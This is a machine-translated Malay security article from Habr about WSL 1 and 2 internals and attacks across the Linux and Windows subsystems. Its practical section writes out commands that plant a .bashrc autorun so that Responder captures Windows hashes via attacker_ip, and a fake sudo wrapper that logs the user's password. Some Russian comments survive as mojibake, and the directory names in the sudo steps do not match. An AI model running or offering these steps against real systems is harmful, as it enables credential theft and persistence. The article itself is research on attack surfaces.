Hello, habr! OTUS melancarkan aliran kursus baharu pada bulan Oktober
Pada 2016, Microsoft memperkenalkan teknologi WSL baharu kepada komuniti IT (Winduk Subsystem untuk Linux), yang pada masa akan datang memungkinkan untuk menyatukan pesaing yang tidak dapat didamaikan sebelum ini yang memperjuangkan populariti di kalangan pengguna OS biasa dan lanjutan: Windows dan Linux. Teknologi ini memungkinkan untuk menggunakan alat OS Linux dalam persekitaran Windows tanpa perlu menjalankan Linux, contohnya, menggunakan Multi-boot. Di Habr anda boleh menemui sejumlah besar artikel yang menerangkan faedah menggunakan WSL. Walau bagaimanapun, malangnya, pada masa artikel ini dibuat, tiada kajian tentang keselamatan simbiosis sistem pengendalian sedemikian ditemui pada sumber ini. Catatan ini akan menjadi percubaan untuk membetulkannya. Artikel ini akan membincangkan ciri-ciri seni bina WSL 1 dan 2 dan mengkaji beberapa contoh serangan ke atas sistem yang menggunakan teknologi ini. Artikel terbahagi kepada 2 bahagian. Yang pertama akan menyediakan kaedah serangan teori utama dari Linux dan Windows. Artikel kedua akan melibatkan penyediaan persekitaran ujian dan menghasilkan semula serangan.
WSL 1: ciri seni bina
Untuk menyelami isu keselamatan WSL yang paling tepat, adalah perlu untuk menentukan nuansa utama yang berkaitan dengan pelaksanaan subsistem. Salah satu tugas pengguna utama yang diselesaikan oleh WSL ialah keupayaan untuk bekerja melalui terminal Linux pada hos yang menjalankan OS Windows. Selain itu, keserasian yang ditawarkan adalah sangat asli sehingga Linux boleh laku (ELF) boleh dijalankan terus pada sistem Windows. Untuk mencapai matlamat ini, subsistem khas telah dicipta dalam Windows 10 yang membolehkan anda menjalankan aplikasi Linux menggunakan satu set panggilan sistem tertentu - oleh itu, percubaan telah dibuat untuk memetakan satu set syscall Linux pada Windows. Ini dilaksanakan secara fizikal dengan menambah pemacu baharu dan format proses baharu. Secara visual seni bina kelihatan seperti ini:
Malah, interaksi dengan sistem pengendalian Linux telah dianjurkan melalui beberapa modul kernel dan jenis proses khas - pico. Daripada rajah di atas, anda boleh melihat bahawa proses yang berjalan pada contoh Linux pada hos mestilah asli dan mesti menggunakan sumber yang sama seperti aplikasi Windows biasa. Tetapi bagaimana untuk mencapai ini? Dalam projek
Ambil perhatian bahawa abstraksi yang dicadangkan memungkinkan untuk tidak menumpukan pada sistem pengendalian (khususnya, Windows), di mana proses OS lain dijangka dilancarkan, dan mencadangkan pendekatan umum.
Oleh itu, sebarang aplikasi di dalam proses pico boleh dijalankan tanpa mengambil kira kernel Windows:
- Masalah keserasian dan terjemahan panggilan sistem mesti diselesaikan oleh pembekal khas;
- Kawalan capaian mesti dilakukan melalui Pemantau Keselamatan. Monitor terletak dalam kernel dan oleh itu Windows memerlukan peningkatan dalam bentuk pemacu baharu yang boleh bertindak sebagai pembekal untuk proses tersebut. Proses pico prototaip dibentangkan secara skematik di bawah:
Memandangkan sistem fail Linux menggunakan fail sensitif huruf besar dan nama direktori, 2 jenis sistem fail telah ditambahkan pada Windows untuk berfungsi dengan WSL - VolFS dan DriveFS. VolFS ialah pelaksanaan sistem fail Linux, DriveFS ialah sistem fail yang berfungsi mengikut peraturan Windows, tetapi mempunyai keupayaan untuk memilih kepekaan huruf besar.
WSL 2
WSL 1 mempunyai beberapa batasan yang tidak membenarkannya digunakan untuk menyelesaikan julat maksimum tugas: contohnya, ia tidak mempunyai keupayaan untuk menjalankan aplikasi Linux 32-bit, dan adalah mustahil untuk menggunakan pemacu peranti. Oleh itu, pada tahun 2020, WSL 2 telah dikeluarkan, yang mengubah pendekatan untuk membina subsistem. WSL 2 ialah mesin maya yang dioptimumkan yang sepadan dengan ciri penggunaan sumber WSL 1. Kini, bergantung pada masalah yang diselesaikan oleh pengguna Windows OS, anda boleh memilih versi subsistem Linux yang diperlukan. Untuk mengurangkan kemungkinan kelemahan, WSL 2 telah dilaksanakan berdasarkan Hyper-V dalam Windows 10. Dalam bentuk ini, Windows mempunyai keupayaan untuk menjalankan kernel sistem pengendalian Linux secara berasingan. Perlu diingat bahawa versi 1 WSL telah diperkenalkan sebagai ciri beta yang sepatutnya menunjukkan arah pembangunan Windows di kawasan ini, jadi peralihan kepada Hyper-V tidak dapat dielakkan. Seni bina akhir kelihatan seperti ini:
Dalam versi ini, kernel Windows dan Linux mempunyai sumber mereka sendiri dan persimpangan hanya wujud dalam sistem fail, tetapi persimpangan ini tidak lengkap. Interaksi antara sistem fail dijalankan melalui pembungkus pelayan-klien yang berfungsi menggunakan protokol 9P.
Hari ini Microsoft menyediakan keupayaan untuk bertukar antara WSL 1 dan WSL 2. Kedua-dua versi tersedia untuk digunakan.
Keselamatan WSL
Pada masa ini, terdapat beberapa karya yang menerangkan beberapa pendekatan untuk menggunakan alat OS yang sah untuk menyerang komunikasi antara subsistem. Kami akan menggunakan skrip mereka untuk menyemak kaitan serangan pada masa penulisan. Senarai umum serangan dan senario:
1. Pelaksanaan sistem fail: hak akses, ketersediaan direktori kongsi/mekanisme pertukaran data.
Penyelidikan telah dijalankan untuk menentukan pelanggaran peraturan akses daripada Linux FS->Windows FS, Windows FS->Linux FS. Penyelidikan telah menunjukkan keupayaan untuk mengubah suai fail tertentu dalam OS sasaran. Percubaan juga dibuat untuk menggantikan, mencipta pendua dan memadam sebahagian daripada sistem fail.
Senario:
- A. Serangan daripada sistem pengendalian Windows - pengubahsuaian fail daripada direktori /etc OS Linux.
- B. Serangan daripada sistem pengendalian Linux - pengubahsuaian fail dalam direktori:
C:Windows
,C:Program Files
,C:Users<User>
2. Pelaksanaan timbunan rangkaian.
Penyelidikan telah dijalankan menggunakan contoh serangan daripada sistem pengendalian Linux pada Windows. Ciri-ciri susunan rangkaian telah digunakan, iaitu, mekanisme pengesahan pada pelbagai sumber.
Senario:
- Membuka akses kepada port yang diduduki pada sistem Windows
- Membuka pelabuhan tanpa hak yang sesuai
- Menjalankan shell terbalik menggunakan fail elf pada sistem pengendalian Windows.
3. Menyembunyikan pelancaran proses perisian berniat jahat menggunakan subsistem WSL.
Penyelidikan adalah berdasarkan fakta mudah - subsistem keselamatan tidak boleh memintas peristiwa dalam kernel lain yang berfungsi menggunakan pembekal yang sah daripada sistem pengendalian dalam kes WSL 1. Dalam kes WSL 2, tiada cara untuk melihat peristiwa yang berlaku dalam kernel berasingan dalam mesin maya ringan.
Senario:
1) Lancarkan aplikasi untuk akses jauh ke sistem dan lihat acara yang dilog.
Percubaan WSL 1: pemintasan cincang (Windows)
Akhirnya kami sampai ke bahagian praktikal. Pertama, anda perlu menyediakan persekitaran ujian. Semua eksperimen akan dijalankan di atas bangku dengan Windows 10 2004. Imej Ubuntu 18.04 telah dipilih sebagai imej sistem pengendalian untuk WSL. Imej telah dipilih secara rawak, dan mana-mana imej lain akan berfungsi sama. Perintah untuk menyediakan pendirian:
Anda mesti melancarkan dahulu powershell.exe
sebagai pentadbir.
Untuk WSL 1 anda perlu menjalankan arahan:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ΠΠΊΠ»ΡΡΠΈΡΡ ΡΡΠ½ΠΊΡΠΈΡ WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #ΠΠ°Π³ΡΡΠ·ΠΈΡΡ ΠΎΠ±ΡΠ°Π· Linux ΠΈΠ· ΠΌΠ°Π³Π°Π·ΠΈΠ½Π° Microsoft
Ubuntu.appx install βroot #Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ΠΎΠ±ΡΠ°Π·
ΠΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΏΡΠΈΠ΄Π΅ΡΡΡ ΠΏΡΠΎΠΊΠ»ΠΈΠΊΠ°ΡΡ ΠΏΡΠΎΡΠ΅ΡΡ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ ΠΈ ΡΠΎΠ·Π΄Π°ΡΡ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ, ΠΊΠΎΡΠΎΡΡΠΉ Π±ΡΠ΄Π΅Ρ ΠΈΠΌΠ΅ΡΡ ΠΌΠ΅Π½ΡΡΠ΅ ΠΏΡΠ°Π², ΡΠ΅ΠΌ root. ΠΠ»Ρ Π½Π°ΡΠΈΡ
ΡΠ΅ΡΡΠΎΠ² ΡΡΠΎ Π±ΡΠ΄Π΅Ρ ΠΎΠ±ΡΡΠ½ΡΠΉ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ sam.
Restart-Computer #ΠΠ΅ΡΠ΅Π·Π°Π³ΡΡΠ·ΠΈΠΌ
Selepas but semula pendirian, anda boleh memanggil arahan bash. Jika semuanya berfungsi dengan betul, anda akan melihat output yang serupa dengan ini dalam konsol Windows:
Kami akan menggunakan pengedaran Kali Linux sebagai mesin penyerang; semua mesin mesti berada pada rangkaian tempatan yang sama.
Katakan kita mempunyai akses tanpa hak kepada WSL pada mesin Windows. Mari cuba menyerang sistem pengendalian Linux dengan memanggil arahan daripada Linux. Untuk melaksanakan serangan, kami akan menggunakan teknik autorun yang mudah - kami akan menambah skrip kami untuk pelaksanaan dalam persekitaran Linux. Untuk melakukan ini, anda perlu menukar fail .bashrc
.
Pada mesin dengan WSL kami melaksanakan:
1. bash
2. ΠΠ΅ΡΠ΅Ρ
ΠΎΠ΄ΠΈΠΌ Π² Π΄ΠΎΠΌΠ°ΡΠ½ΡΡ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ: cd /home/sam/
2. echo Β«/home/sam/.attack.shΒ» >> .bashrc
3. echo Β«icalcs.exe Β» \\\\attacker_ip\\shareName\\Β» > /dev/null 2>&1Β» >> .attack.sh
4. chmod u+x .attack.sh
5. exit
Pada mesin Kali Linux kami jalankan:
1. Responder -I eth0 -rdvw
Pada mesin Windows, mari lancarkan bash.
Kami sedang menunggu keputusan pada mesin Kali Linux:
Oleh itu, kami memperoleh cincangan pengguna Windows melalui subsistem WSL dengan melaksanakan arahan pada sistem Linux.
Percubaan WSL 1: mendapatkan kata laluan pengguna (Linux OS)
Mari buat satu lagi percubaan. Semasa semakan ini kami akan menambah pada fail .bashrc
beberapa arahan untuk mendapatkan kata laluan pengguna sistem pengendalian Linux.
Mari kita lancarkan bash dan masukkan arahan:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtΒ» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Untuk berjaya menyelesaikan serangan, pengguna Sam perlu memanggil sudo dalam terminal Linux. Selepas ini, kata laluan pengguna OS Linux akan berada dalam fail pass.txt
:
Pelaksanaan serangan diberikan untuk maklumat teori sahaja.
Bahagian seterusnya artikel akan menerangkan pelaksanaan protokol 9P, mempertimbangkan penciptaan pengimbas untuk protokol ini, dan juga menjalankan serangan menggunakannya.
Senarai kesusasteraan terpakai
Baca lagi
Sumber: www.habr.com